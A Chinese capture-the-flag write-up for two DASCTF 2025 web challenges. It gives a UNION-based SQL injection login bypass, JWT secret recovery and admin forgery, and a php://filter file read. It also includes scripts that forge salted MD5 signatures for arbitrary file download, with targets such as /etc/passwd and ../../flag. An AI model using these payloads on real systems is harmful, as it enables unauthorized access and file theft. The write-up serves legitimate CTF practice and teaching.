dasctf2025下半年 web WP
SecretPhotoGallery
使用联合注入登录:username=’ UNION SELECT 1,2,3– &password=123456
在页面源代码看到这些注释
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- Photo 1: G -->
<!-- Photo 14: C -->
<!-- Photo 9: 0 -->
<!-- Photo 16: E -->
<!-- Photo 6: R -->
<!-- Photo 8: 2 -->
<!-- Photo 12: S -->
<!-- Photo 5: E -->
<!-- Photo 2: A -->
<!-- Photo 11: 4 -->
<!-- Photo 4: L -->
<!-- Photo 3: L -->
<!-- Photo 10: 2 -->
<!-- Photo 13: E -->
<!-- Photo 15: R -->
<!-- Photo 17: T -->
<!-- Photo 7: Y -->
拼起来是 GALLERY2024SECRET,是 jwt 的密钥。修改 jwt 为 admin,进入管理员页面。然后用伪协议 php://filter/convert.iconv.utf-8.utf-32/resource=flag.php 读取flag
devweb
抓包发现 /assets/index-BgDOi0T5.js,丢给AI分析一下
这是一个来自 CTF 题目的 Vue.js 前端打包文件。经过分析,我发现了一个严重的文件下载漏洞逻辑以及登录加密的实现细节。
以下是该文件的核心分析和解题思路:
1. 核心漏洞:任意文件下载 (Arbitrary File Download)
在代码末尾的 Fd 组件中(即 Dashboard 页面),存在一个 downloadFile 方法,其逻辑如下:
1
2
3
4
downloadFile(t) {
alert(`正在下载文件: ${t.name}`),
window.location.href = `/download?file=${t.name}&sign=6f742c2e79030435b7edc1d79b8678f6`
}
- 硬编码的签名:代码中硬编码了
sign值为6f742c2e79030435b7edc1d79b8678f6。 - 签名算法推测:这个哈希值
6f742c2e79030435b7edc1d79b8678f6正好是字符串app.jmx的 MD5 值。- 这意味着服务器端的验证逻辑很可能是:
check if md5(filename) == sign。
- 这意味着服务器端的验证逻辑很可能是:
利用方案: 你可以利用这个逻辑下载服务器上的任意文件(如 flag, /etc/passwd, WEB-INF/web.xml 等)。你需要做的就是将目标文件名进行 MD5 加密,替换 URL 中的 sign 参数。
Payload 生成示例 (Python):
1
2
3
4
5
6
7
8
9
10
11
import hashlib
# 目标文件名,尝试常见 CTF 标志
targets = ['flag', '/flag', 'flag.txt', '/etc/passwd', 'index.php', 'app.py']
for filename in targets:
# 计算文件名的 MD5
sign = hashlib.md5(filename.encode()).hexdigest()
print(f"File: {filename}")
print(f"URL: /download?file={filename}&sign={sign}")
print("-" * 30)
2. 登录逻辑与 RSA 加密
代码中的 cp 组件(登录页面)包含 RSA 加密逻辑。
公钥:
1
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE=
加密过程: 在提交登录时,前端使用
jsrsasign库(代码中的Oo类)对 密码 (password) 进行了 RSA 加密,但 用户名 (username) 是明文传输的。1
"username=" + encodeURIComponent(this.username) + "&password=" + encodeURIComponent(t.encrypt(this.password))
点击登录,没有发送请求,显示请求超时。再让AI分析一下
这是一道非常经典的“开发环境遗留代码”类型的 CTF 题目。正如题名 devweb(开发中的网站)所暗示的,开发者在发布代码时犯了两个严重的错误,导致你无法正常登录。
这就是为什么你点击登录显示“请求超时”,且抓不到包的原因:
错误原因分析
通过分析你提供的 index-BgDOi0T5.js 文件代码,可以发现两个致命问题:
1. 请求被发送到了 localhost(请求超时原因)
在 submitLogin 方法中,请求的 URL 被硬编码为了 本地地址:
1
dt.post("http://localhost:8080/login", t, { ... })
原因:这是开发者的本地测试地址。 现象:你在自己的浏览器中运行这段代码,浏览器会尝试连接 你自己电脑(localhost) 的 8080 端口。因为你的电脑上没有运行这个服务的后端,连接被拒绝(Connection Refused),Axios 库捕获到这个网络错误,从而显示“请求超时”。这就是为什么你在 Network 标签页看不到发往 CTF 服务器的请求。
2. 公钥被注释掉了(加密失败隐患)
在 data() 函数中,RSA 公钥被注释掉了:
1
2
3
4
5
6
7
8
data() {
return {
username: "",
password: "",
//publicKey:"MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE="
errorMessage: ""
}
}
后果:handleSubmit 函数中调用 t.setPublicKey(this.publicKey) 时,this.publicKey 是 undefined。即使你修复了网络请求问题,加密出来的密码也是错误的,或者加密过程会直接报错。
让AI写一个登录前端
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>DevWeb CTF - Custom Login Exploit</title>
<!-- 引入 jsrsasign 库,用于 RSA 加密 -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jsrsasign/10.5.1/jsrsasign-all-min.js"></script>
<style>
body { font-family: sans-serif; padding: 20px; background: #f0f2f5; }
.container { max-width: 500px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
.form-group { margin-bottom: 15px; }
label { display: block; margin-bottom: 5px; font-weight: bold; }
input, textarea { width: 100%; padding: 8px; box-sizing: border-box; border: 1px solid #ddd; border-radius: 4px; }
textarea { height: 100px; font-family: monospace; }
button { background: #007bff; color: white; border: none; padding: 10px 15px; border-radius: 4px; cursor: pointer; width: 100%; font-size: 16px; }
button:hover { background: #0056b3; }
#result { margin-top: 20px; white-space: pre-wrap; background: #333; color: #0f0; padding: 10px; border-radius: 4px; display: none; }
.tips { font-size: 12px; color: #666; margin-bottom: 15px; }
</style>
</head>
<body>
<div class="container">
<h2>DevWeb 登录测试器</h2>
<p class="tips">此工具用于手动构造请求,测试 SQL 注入或弱口令。</p>
<div class="form-group">
<label for="targetUrl">目标 URL:</label>
<!-- 修改这里为你的靶机地址,例如 http://192.168.1.100:8080/login -->
<input type="text" id="targetUrl" value="http://fb7544d6-2fab-494b-bd88-036712badf33.node5.buuoj.cn:81/login" placeholder="http://target-ip:port/login">
</div>
<div class="form-group">
<label for="username">用户名 (Username):</label>
<input type="text" id="username" value="admin" placeholder="尝试 admin' # 或 admin">
</div>
<div class="form-group">
<label for="password">密码 (Password):</label>
<input type="text" id="password" value="123456" placeholder="密码会被 RSA 加密">
</div>
<button onclick="doLogin()">发送登录请求</button>
<div id="result"></div>
<h3>调试信息 (Debug)</h3>
<div class="form-group">
<label>加密后的 Payload:</label>
<textarea id="debugPayload" readonly></textarea>
</div>
</div>
<script>
// 题目中提取的公钥
const PUBLIC_KEY = "MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgGyAKgwgFtRvud51H9otkcAxKh/8/iIlj3WlPJ0RL1pDtRvyMu5/edP84Mp9FqnZNCXKi1042pd4Y2Bf9QT0/z1i6KPiZ8zT3XNTtPOqIHO5aVaOfAl8lr52AurMZVpXwEUS2hh+Q/AN4/SV9AZPCgrUXk619aaw0Md9MNvn3w0JAgMBAAE=";
function encryptPassword(password) {
try {
// 使用 jsrsasign 进行 RSA 加密
// 1. 读取公钥
const pubKeyObj = KEYUTIL.getKey("-----BEGIN PUBLIC KEY-----\n" + PUBLIC_KEY + "\n-----END PUBLIC KEY-----");
// 2. 加密 (PKCS1Padding 是最常见的填充方式)
const encryptedHex = KJUR.crypto.Cipher.encrypt(password, pubKeyObj, "RSA");
// 3. 这里的库返回的是 Hex 字符串,题目中的 js 似乎使用了 Hex 转 Base64 或者直接传输 Hex
// 回看题目代码:t.encrypt(this.password)
// 根据常规 RSA 实现,通常最后传输的是 Base64。
// 我们先把 Hex 转为 Base64
return hextob64(encryptedHex);
} catch (e) {
console.error(e);
return "Encryption Failed: " + e.message;
}
}
async function doLogin() {
const targetUrl = document.getElementById('targetUrl').value;
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;
const resultDiv = document.getElementById('result');
const debugPayload = document.getElementById('debugPayload');
resultDiv.style.display = 'block';
resultDiv.innerText = "正在加密并发送...";
// 1. 加密密码
const encryptedPass = encryptPassword(password);
// 2. 构造 POST 数据 (application/x-www-form-urlencoded)
const postBody = `username=${encodeURIComponent(username)}&password=${encodeURIComponent(encryptedPass)}`;
debugPayload.value = postBody;
try {
// 3. 发送请求
const response = await fetch(targetUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: postBody
});
const text = await response.text();
resultDiv.innerText = `状态码: ${response.status}\n\n响应内容:\n${text}`;
} catch (error) {
resultDiv.innerText = `请求出错 (可能是跨域 CORS 问题或网络不通):\n${error.message}\n\n建议: 打开 F12 Network 面板查看详细错误,或在 Burp Suite 中重放此请求。`;
}
}
</script>
</body>
</html>
登录后发现被重定向到 /dashboard;jsessionid=CF8C58E749FB31B10AD74C6C5B94348D,但是404了。把JSESSIONID=CF8C58E749FB31B10AD74C6C5B94348D作为cookie,去 /download下载文件,让 Ai 写个脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
# 填入你抓包获取的 JSESSIONID
session_id = "E22F3EDE57A5E8D0F742E8C349432B3E"
url = "http://fb7544d6-2fab-494b-bd88-036712badf33.node5.buuoj.cn:81/download"
params = {
"file": "app.jmx", # 如果不行尝试 /flag 或 ../flag
"sign": "6f742c2e79030435b7edc1d79b8678f6" # md5('flag')
}
headers = {
"Cookie": f"JSESSIONID={session_id}"
}
try:
response = requests.get(url, params=params, headers=headers)
print(f"状态码: {response.status_code}")
print(f"响应内容: {response.text}")
except Exception as e:
print(e)
这里的 md5 加了 salt,之前的 js 文件中泄露了 app.jmx 和对应的 md5 值,先读一下这个文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?xml version='1.0' encoding='UTF-8'?>
<jmeterTestPlan version="1.2" properties="5.0" jmeter="5.0">
<hashTree>
<TestPlan guiclass="TestPlanGui" testclass="TestPlan" testname="Download Test with Parameters" enabled="true">
<stringProp name="TestPlan.functional_mode">false</stringProp>
<boolProp name="TestPlan.serialize_threadgroups">false</boolProp>
<elementProp name="TestPlan.user_defined_variables" elementType="Arguments" guiclass="ArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="mingWen" enabled="true">
<stringProp name="Argument.name">mingWen</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="salt" enabled="true">
<stringProp name="Argument.name">salt</stringProp>
<stringProp name="Argument.value">f9bc855c9df15ba7602945fb939deefc</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="TestPlan.comments_or_notes"/>
<boolProp name="TestPlan.serialize_threadgroups">true</boolProp>
</TestPlan>
<hashTree>
<ThreadGroup guiclass="ThreadGroupGui" testclass="ThreadGroup" testname="User Group" enabled="true">
<stringProp name="ThreadGroup.on_sample_error">continue</stringProp>
<elementProp name="ThreadGroup.main_controller" elementType="LoopController" guiclass="LoopControlPanel" testclass="LoopController" testname="Loop Controller" enabled="true">
<boolProp name="LoopController.continue_forever">false</boolProp>
<intProp name="LoopController.loops">1</intProp>
</elementProp>
<stringProp name="ThreadGroup.num_threads">1</stringProp>
<stringProp name="ThreadGroup.ramp_time">1</stringProp>
<longProp name="ThreadGroup.start_time">0</longProp>
<longProp name="ThreadGroup.end_time">0</longProp>
<boolProp name="ThreadGroup.scheduler">false</boolProp>
<stringProp name="ThreadGroup.duration"></stringProp>
<stringProp name="ThreadGroup.delay"></stringProp>
<boolProp name="ThreadGroup.same_user_on_next_iteration">true</boolProp>
</ThreadGroup>
<hashTree>
<JSR223PreProcessor guiclass="JSR223Panel" testclass="JSR223PreProcessor" testname="Calculate Sign" enabled="true">
<stringProp name="JSR223PreProcessor.language">groovy</stringProp>
<stringProp name="JSR223PreProcessor.parameters">import org.apache.commons.codec.digest.DigestUtils;</stringProp>
<stringProp name="JSR223PreProcessor.reset_vars">false</stringProp>
<stringProp name="JSR223PreProcessor.clear_stack">false</stringProp>
<stringProp name="JSR223PreProcessor.script">
def mingWen = vars.get('mingWen');
def firstMi = DigestUtils.md5Hex(mingWen);
def jieStr = firstMi.substring(5, 16);
def salt = vars.get('salt');
def newStr = firstMi + jieStr + salt;
def sign = DigestUtils.md5Hex(newStr);
vars.put('sign', sign);
</stringProp>
</JSR223PreProcessor>
<hashTree/>
<HTTPSamplerProxy guiclass="HttpTestSampleGui" testclass="HTTPSamplerProxy" testname="Download File" enabled="true">
<boolProp name="HTTPSampler.postBodyRaw">false</boolProp>
<stringProp name="Comment"/>
<elementProp name="HTTPsampler.Arguments" elementType="Arguments" guiclass="HTTPArgumentsPanel" testclass="Arguments" testname="User Defined Variables" enabled="true">
<collectionProp name="Arguments.arguments">
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="file" enabled="true">
<stringProp name="Argument.name">file</stringProp>
<stringProp name="Argument.value">test</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
<elementProp name="" elementType="Argument" guiclass="HTTPArgumentPanel" testclass="Argument" testname="sign" enabled="true">
<stringProp name="Argument.name">sign</stringProp>
<stringProp name="Argument.value">${sign}</stringProp>
<stringProp name="Argument.metadata">=</stringProp>
</elementProp>
</collectionProp>
</elementProp>
<stringProp name="HTTPSampler.domain">localhost</stringProp>
<stringProp name="HTTPSampler.port">8080</stringProp>
<stringProp name="HTTPSampler.protocol">http</stringProp>
<stringProp name="HTTPSampler.contentEncoding">UTF-8</stringProp>
<stringProp name="HTTPSampler.path">/download</stringProp>
<stringProp name="HTTPSampler.method">GET</stringProp>
<boolProp name="HTTPSampler.follow_redirects">true</boolProp>
<boolProp name="HTTPSampler.auto_redirects">false</boolProp>
<boolProp name="HTTPSampler.use_keepalive">true</boolProp>
<boolProp name="HTTPSampler.DO_MULTIPART_POST">false</boolProp>
<stringProp name="HTTPSampler.body_data"/>
<boolProp name="HTTPSampler.bypass_proxy">false</boolProp>
<stringProp name="HTTPSampler.proxy_host"/>
<stringProp name="HTTPSampler.proxy_port"/>
<stringProp name="HTTPSampler.proxy_username"/>
<stringProp name="HTTPSampler.proxy_password"/>
<stringProp name="HTTPSampler.implementation">HttpClient4</stringProp>
</HTTPSamplerProxy>
<hashTree/>
</hashTree>
</hashTree>
</hashTree>
</jmeterTestPlan>
得到 salt 是 f9bc855c9df15ba7602945fb939deefc,让 ai 写一个 md5 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib
def calculate_sign(filename):
# 固定盐值
salt = "f9bc855c9df15ba7602945fb939deefc"
# 1. 计算文件名的 MD5 (firstMi)
first_mi = hashlib.md5(filename.encode('utf-8')).hexdigest()
# 2. 截取第 5 到 16 位 (Java 的 substring(5, 16) 对应 Python 的切片 [5:16])
jie_str = first_mi[5:16]
# 3. 拼接
new_str = first_mi + jie_str + salt
# 4. 计算最终 sign
sign = hashlib.md5(new_str.encode('utf-8')).hexdigest()
return sign
# 生成常见 flag 路径的 Payload
targets = ["flag", "/flag", "../../flag", "app.jmx","flag.php","../flag.php","/etc/passwd"]
print(f"{'Filename':<15} | {'Sign':<32}")
print("-" * 50)
for t in targets:
s = calculate_sign(t)
print(f"{t:<15} | {s}")
flag 在 ../../flag,用生成的 md5 值和之前的脚本读取到 flag